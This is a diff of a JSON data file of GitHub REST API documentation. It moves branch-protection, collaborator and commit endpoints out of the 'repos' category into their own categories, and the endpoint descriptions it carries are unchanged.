     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -42448,10 +43383,10 @@
       "subcategory": "branches"
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -42533,10 +43468,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -42617,10 +43552,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -42803,10 +43738,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -42978,10 +43913,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -43057,10 +43992,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -43186,10 +44121,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -43339,10 +44274,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -43486,10 +44421,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -43590,10 +44525,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -43675,10 +44610,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -43754,10 +44689,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -43882,10 +44817,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44024,10 +44959,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44165,10 +45100,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44264,10 +45199,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -44393,10 +45328,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44536,10 +45471,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44678,10 +45613,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -44777,10 +45712,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -44905,10 +45840,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -45047,10 +45982,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -45188,10 +46123,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -45314,10 +46249,8 @@
       "subcategory": "branches"
     },
     "slug": "rename-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Renames a branch in a repository.</p>\n<p><strong>Note:</strong> Although the API responds immediately, the branch rename process might take some extra time to complete in the background. You won't be able to push to the old branch name while the rename process is in progress. For more information, see \"<a href=\"https://docs.github.com/github/administering-a-repository/renaming-a-branch\">Renaming a branch</a>\".</p>\n<p>The permissions required to use this endpoint depends on whether you are renaming the default branch.</p>\n<p>To rename a non-default branch:</p>\n<ul>\n<li>Users must have push access.</li>\n<li>GitHub Apps must have the <code>contents:write</code> repository permission.</li>\n</ul>\n<p>To rename the default branch:</p>\n<ul>\n<li>Users must have admin or owner permissions.</li>\n<li>GitHub Apps must have the <code>administration:write</code> repository permission.</li>\n</ul>",
@@ -52121,10 +53054,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -52204,10 +53135,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -52325,10 +53254,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -52446,10 +53373,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -52523,10 +53448,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -52617,8 +53540,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -52696,8 +53619,8 @@
       "subcategory": "comments"
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -52807,8 +53730,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -52902,8 +53825,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -53405,10 +54328,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -53505,10 +54426,8 @@
       "subcategory": "commits"
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -53610,8 +54529,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -53748,8 +54667,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -53896,10 +54815,8 @@
       "subcategory": "commits"
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
